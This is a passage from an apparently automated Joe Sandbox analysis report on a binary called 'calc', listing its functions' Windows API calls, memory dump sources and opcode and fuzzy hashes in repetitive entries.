    • GetLastError.KERNEL32(?,00000000,?,00431DC7,?,00000001,NULL Pointer assignment,00000001,?,0045C6D0,?), ref: 00430A01
    • VariantCopy.OLEAUT32(-00000068,?), ref: 00430A57
    • VariantCopy.OLEAUT32(-00000058,00000008), ref: 00430A6C
    • VariantCopy.OLEAUT32(-00000078,00000008), ref: 00430A81
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CopyVariant$ErrorLast
    • String ID:
    • API String ID: 2286883814-0
    • Opcode ID: 5af0195bfadb05a0c3b1fb0af8056b65b133b5ffb26115bf59ef324aa679a039
    • Instruction ID: 74ec36ade127758d2b5d6a60e7b2c92c59a7636115ccca8a5f9d65f218e57e45
    • Opcode Fuzzy Hash: 5af0195bfadb05a0c3b1fb0af8056b65b133b5ffb26115bf59ef324aa679a039
    • Instruction Fuzzy Hash: 85416D71900209DFCB00DF69D954A9BB7F8FF48304F1445AAE809E7362EB78AD45CB99
    Function 004509A2 Relevance: 6.1, APIs: 4, Instructions: 113COMMON
    Download Yara Rule
    APIs
    • __lock.LIBCMT ref: 004509C4
      • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
    • __lock.LIBCMT ref: 00450A10
    • RtlEnterCriticalSection.NTDLL(0000008C), ref: 00450A5A
    • RtlLeaveCriticalSection.NTDLL(0000008C), ref: 00450A67
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CriticalSection$Enter__lock$Leave
    • String ID:
    • API String ID: 885841014-0
    • Opcode ID: bda5e73e630093f5bdc100a74ef8f2279113054be542c85dc4145b3eb02c6880
    • Instruction ID: 6b8fed09be344907abc40a60ecb9e95b28ef36bf5e0b8bb1f7086c56b98dbfe0
    • Opcode Fuzzy Hash: bda5e73e630093f5bdc100a74ef8f2279113054be542c85dc4145b3eb02c6880
    • Instruction Fuzzy Hash: 8D4133759003068BDB24DF64D88575E7BE0AF11329F25872FE832962D2CB389989CB0C
    Function 0040C4BD Relevance: 6.1, APIs: 4, Instructions: 102COMMON
    Download Yara Rule
    APIs
    • BeginPaint.USER32(?,?), ref: 0040C4DF
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0040C544
    • Rectangle.GDI32(?,00000000,00000000,?,?), ref: 0040C596
    • EndPaint.USER32(?,?,?,?,?,?,?,00000000,00000000,?,?,?,?,00000000,00000001), ref: 0040C5EE
      • Part of subcall function 0040D03A: MoveToEx.GDI32(?,?,?,00000000), ref: 0040D047
      • Part of subcall function 0040D03A: LineTo.GDI32(?,?,?), ref: 0040D05A
      • Part of subcall function 0040D03A: LineTo.GDI32(?,?,?), ref: 0040D063
      • Part of subcall function 0040D03A: LineTo.GDI32(?,?,?), ref: 0040D06C
      • Part of subcall function 0040D03A: LineTo.GDI32(?,?,?), ref: 0040D075
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Line$Paint$BeginMoveRectangleViewport
    • String ID:
    • API String ID: 2658531208-0
    • Opcode ID: b5603e31384557df77967fefead3580476fc508b409ebf9dc0690b9044ca4220
    • Instruction ID: c6e67966df92c8fb1309ec1158f403bbbcdfb1cf059d0a129d19c9ce180b40a5
    • Opcode Fuzzy Hash: b5603e31384557df77967fefead3580476fc508b409ebf9dc0690b9044ca4220
    • Instruction Fuzzy Hash: E3418C34500214FFDB109F65CC84BEEBBB5AF04720F1442AAE955AB2E2C778AD86DB14
    Function 00457BDC Relevance: 6.1, APIs: 4, Instructions: 93COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0044D99A: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0044D9B4
      • Part of subcall function 0044D99A: GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0044D9C5
      • Part of subcall function 0044D99A: VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0044DA0B
    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,0045BBD8,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457C22
    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000018,?,00000000,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457C3F
    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000018,?,?,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457CB5
    • CompareStringW.KERNEL32(?,00000002,0045BBD8,00000000,?,00000000,?,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000), ref: 00457CCB
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharMultiWide$QueryVirtual$CompareInfoStringSystem
    • String ID:
    • API String ID: 1997773198-0
    • Opcode ID: 0570dca9e1bf7ee5a52a808c6b989f582594303ab98bc10810a63f18df865e27
    • Instruction ID: a5633a3a0502486586b9ec731d308d5a0470a2ef10469a9c99ac855557056afc
    • Opcode Fuzzy Hash: 0570dca9e1bf7ee5a52a808c6b989f582594303ab98bc10810a63f18df865e27
    • Instruction Fuzzy Hash: 58319031800208EBEF22DFA0EC45BDEBBB6FF04715F24012AF915AA2A1C7398D55DB04
    Function 00450CF4 Relevance: 6.1, APIs: 4, Instructions: 93COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0044D99A: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0044D9B4
      • Part of subcall function 0044D99A: GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0044D9C5
      • Part of subcall function 0044D99A: VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0044DA0B
    • WideCharToMultiByte.KERNEL32(?,00000000,004014B8,?,?,?,00000000,00000000,?,004490FC,?,00000000,0047BCF4,?,?), ref: 00450D32
    • LCMapStringA.KERNEL32(?,00000100,?,?,00000000,00000000,?,004490FC,?,00000000,0047BCF4,?,?,?,?,004014B8), ref: 00450D4E
    • LCMapStringA.KERNEL32(?,00000100,?,?,?,00000000,?,004490FC,?,00000000,0047BCF4,?,?,?,?,004014B8), ref: 00450DBA
    • _strncpy.LIBCMT ref: 00450DDF
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: QueryStringVirtual$ByteCharInfoMultiSystemWide_strncpy
    • String ID:
    • API String ID: 1411509361-0
    • Opcode ID: a54082dbe5c894d13af98ba6b3106a1ff2a34a093af2add1bb26da601b8de494
    • Instruction ID: a8fa9c9e81d149e0fd57e576100391c0807143c9fde817d248a89193a1360640
    • Opcode Fuzzy Hash: a54082dbe5c894d13af98ba6b3106a1ff2a34a093af2add1bb26da601b8de494
    • Instruction Fuzzy Hash: 1F315B76C0011AEBDF119F95CC829EFBBB5EF08316F18852AF92062162C7394D56DF98
    Function 00405D95 Relevance: 6.1, APIs: 4, Instructions: 91windowCOMMON
    Download Yara Rule
    APIs
    • ClientToScreen.USER32(?,?), ref: 00405DB3
    • GetWindowRect.USER32(00000003,?), ref: 00405DFC
    • PtInRect.USER32(?,00000000,000000FF), ref: 00405E0C
    • MessageBeep.USER32(00000000), ref: 00405E7F
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Rect$BeepClientMessageScreenWindow
    • String ID:
    • API String ID: 1352109105-0
    • Opcode ID: dcf3ca20a4c2ae2ed243af5031a055c5e736d4f7eb66e569f9db8ee6816ab8dd
    • Instruction ID: dd8de1245b502091c838f5f47c16c6050819199c23e6a8110bf6000abb39bdf8
    • Opcode Fuzzy Hash: dcf3ca20a4c2ae2ed243af5031a055c5e736d4f7eb66e569f9db8ee6816ab8dd
    • Instruction Fuzzy Hash: FF310631900619EFCB10CFA8C848AABBBF4EF04355F14456AE9A5B62D0D338AE45CF95
    Function 0041181E Relevance: 6.1, APIs: 4, Instructions: 84keyboardwindowCOMMON
    Download Yara Rule
    APIs
    • MapVirtualKeyW.USER32(00000011,00000000), ref: 00411831
    • GetKeyboardState.USER32(?), ref: 0041186B
    • SetKeyboardState.USER32(00000080), ref: 00411880
    • PostMessageW.USER32(?,00000100,00000011,00000000), ref: 004118D4
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: KeyboardState$MessagePostVirtual
    • String ID:
    • API String ID: 863366817-0
    • Opcode ID: bfb4b78a6aaed89bb3859a60d9aecc9fb928bdbecd9a5f803ab5092cb477fe57
    • Instruction ID: 51936c8d46dd67df7a5012feef2705db3bfc497a99d119d8ced5b6907d56545e
    • Opcode Fuzzy Hash: bfb4b78a6aaed89bb3859a60d9aecc9fb928bdbecd9a5f803ab5092cb477fe57
    • Instruction Fuzzy Hash: BD212F71A003157BEB3567698CC8BE76A5CAB05355F10413BF74991272D7ACDCC0C29D
    Function 00411916 Relevance: 6.1, APIs: 4, Instructions: 84keyboardwindowCOMMON
    Download Yara Rule
    APIs
    • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00411929
    • GetKeyboardState.USER32(?), ref: 00411967
    • PostMessageW.USER32(?,00000101,000000A0,00000000), ref: 004119C1
    • SetKeyboardState.USER32(?), ref: 004119D8
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: KeyboardState$MessagePostVirtual
    • String ID:
    • API String ID: 863366817-0
    • Opcode ID: a81da1ac17faf62712921bae63e7622cf4e8409ec3e79e3e80d14285f257a8ae
    • Instruction ID: 9c36f65ea7ddc444ccb7cc2cff4a635faba03942e7bfa2e0ea98a349dbe43b6b
    • Opcode Fuzzy Hash: a81da1ac17faf62712921bae63e7622cf4e8409ec3e79e3e80d14285f257a8ae
    • Instruction Fuzzy Hash: 892137B17102187AEB314768CC99FEB6A5CDB06394F540127F669922B2C2ADCCC1C6AC
    Function 0042F490 Relevance: 6.1, APIs: 4, Instructions: 71networkCOMMON
    Download Yara Rule
    APIs
    • select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 0042F4F2
    • __WSAFDIsSet.WS2_32(00000000,00000001), ref: 0042F50C
    • accept.WS2_32(00000000,00000000,00000000), ref: 0042F51F
    • WSAGetLastError.WS2_32(00000000,00000000,00000001,00000000,00000000,?), ref: 0042F528
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorLastacceptselect
    • String ID:
    • API String ID: 385091864-0
    • Opcode ID: 755a0d37a7a288ac79227b46faa216e6589971c12026bb35bcb87805b5d0fce9
    • Instruction ID: c4cb769e5f6c09977091af05dbcfb972cb8144af55259ba7b3911f342b50bbba
    • Opcode Fuzzy Hash: 755a0d37a7a288ac79227b46faa216e6589971c12026bb35bcb87805b5d0fce9
    • Instruction Fuzzy Hash: E911E171A00118ABDB15EF2ADC819EFB7FCAB49714F40427FB405D3242DA789E808BA4
    Function 0042003A Relevance: 6.1, APIs: 4, Instructions: 70windowCOMMON
    Download Yara Rule
    APIs
    • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00420064
    • TranslateMessage.USER32(?), ref: 0042008B
    • DispatchMessageW.USER32(?), ref: 00420095
    • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004200A5
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Message$Peek$DispatchTranslate
    • String ID:
    • API String ID: 1795658109-0
    • Opcode ID: 9024c2977bfdbd5ac00eb1186ad899a131a143131b69003cd44eda1b14e214a5
    • Instruction ID: d6d8623c54d9b74e91df51d2b51a13610eb9f86121000978df8a1a571116bf05
    • Opcode Fuzzy Hash: 9024c2977bfdbd5ac00eb1186ad899a131a143131b69003cd44eda1b14e214a5
    • Instruction Fuzzy Hash: 3B1187B2A053559EEB119BB4BC88BB77BECA701309F44843AD152D3102E778D84ADB79
    Function 0044B66E Relevance: 6.1, APIs: 4, Instructions: 69threadCOMMON
    Download Yara Rule
    APIs
    • CloseHandle.KERNEL32(?), ref: 0044B696
    • RtlExitUserThread.NTDLL(00000000), ref: 0044B6A5
    • FlsGetValue.KERNEL32(0045B188,0000000C), ref: 0044B6BE
    • FlsSetValue.KERNEL32(?), ref: 0044B6D4
      • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
      • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Value$CloseExitFreeHandleHeapThreadUser__lock
    • String ID:
    • API String ID: 3768287693-0
    • Opcode ID: fc6ef55e8fbbf2753c1163fd075b5f1b2d5ff6fd80f72a765e741326c344b241
    • Instruction ID: d4f00fcacf70c5f03d956f577aab7a395bcd786e41b93a042494b8fd7fe282cd
    • Opcode Fuzzy Hash: fc6ef55e8fbbf2753c1163fd075b5f1b2d5ff6fd80f72a765e741326c344b241
    • Instruction Fuzzy Hash: F1219631500B00EFE724AF65D94AA6A37A4FF44755F11451EF845973A1DF78EC00CA9A
    Function 00403C97 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
    Download Yara Rule
    APIs
    • IsWindowVisible.USER32(?), ref: 00403CA0
    • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00403CBF
    • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00403CDD
    • CharUpperBuffW.USER32(?,00000000), ref: 00403CFB
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$BuffCharUpperVisibleWindow
    • String ID:
    • API String ID: 2796087071-0
    • Opcode ID: 11bfcdc27317c56bf8c93ba2187fac7942afcc668f3ade450d01a30b8132c5b6
    • Instruction ID: 5bedeb9e09b6abb0eb7ebfe7bc79414f8d824c24300506fe996c0fb54aef253c
    • Opcode Fuzzy Hash: 11bfcdc27317c56bf8c93ba2187fac7942afcc668f3ade450d01a30b8132c5b6
    • Instruction Fuzzy Hash: 1011B232904258BAFF229FA1DC06F9B7F6DDF40725F20407AF800A51A1DB79CE50A758
    Function 0044AFC4 Relevance: 6.1, APIs: 4, Instructions: 65threadCOMMON
    Download Yara Rule
    APIs
    • RtlExitUserThread.NTDLL(?), ref: 0044AFEE
    • FlsGetValue.KERNEL32(0045B130,0000000C), ref: 0044B007
    • FlsSetValue.KERNEL32(?), ref: 0044B01D
    • GetCurrentThreadId.KERNEL32 ref: 0044B02F
      • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
      • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ThreadValue$CurrentExitFreeHeapUser__lock
    • String ID:
    • API String ID: 1595110423-0
    • Opcode ID: 7a5d7e7093db98e7d343e70cd53fd0274f37547dc291d792bd88d9f18fff3fac
    • Instruction ID: 87a9b2721909ca5a519c4814913f14622166ecacfafa37e2c11cce841412ba36
    • Opcode Fuzzy Hash: 7a5d7e7093db98e7d343e70cd53fd0274f37547dc291d792bd88d9f18fff3fac
    • Instruction Fuzzy Hash: 4611B431500B01EFEB24AF61DC0AA6B3BA4FF04755B10042EF8469B3A1DB78EC40CB99
    Function 0041237D Relevance: 6.1, APIs: 4, Instructions: 58filethreadCOMMON
    Download Yara Rule
    APIs
    • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004123AC
    • OpenProcess.KERNEL32(00000438,00000000,00000000,?,00000800,?,004029FA,00000800,?,?,00000406,00000000,00000000), ref: 004123BB
    • CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,?,00000000,?,00000800,?,004029FA,00000800,?,?,00000406,00000000,00000000), ref: 004123EA
    • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,00000800,?,004029FA,00000800,?,?,00000406,00000000,00000000), ref: 00412401
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
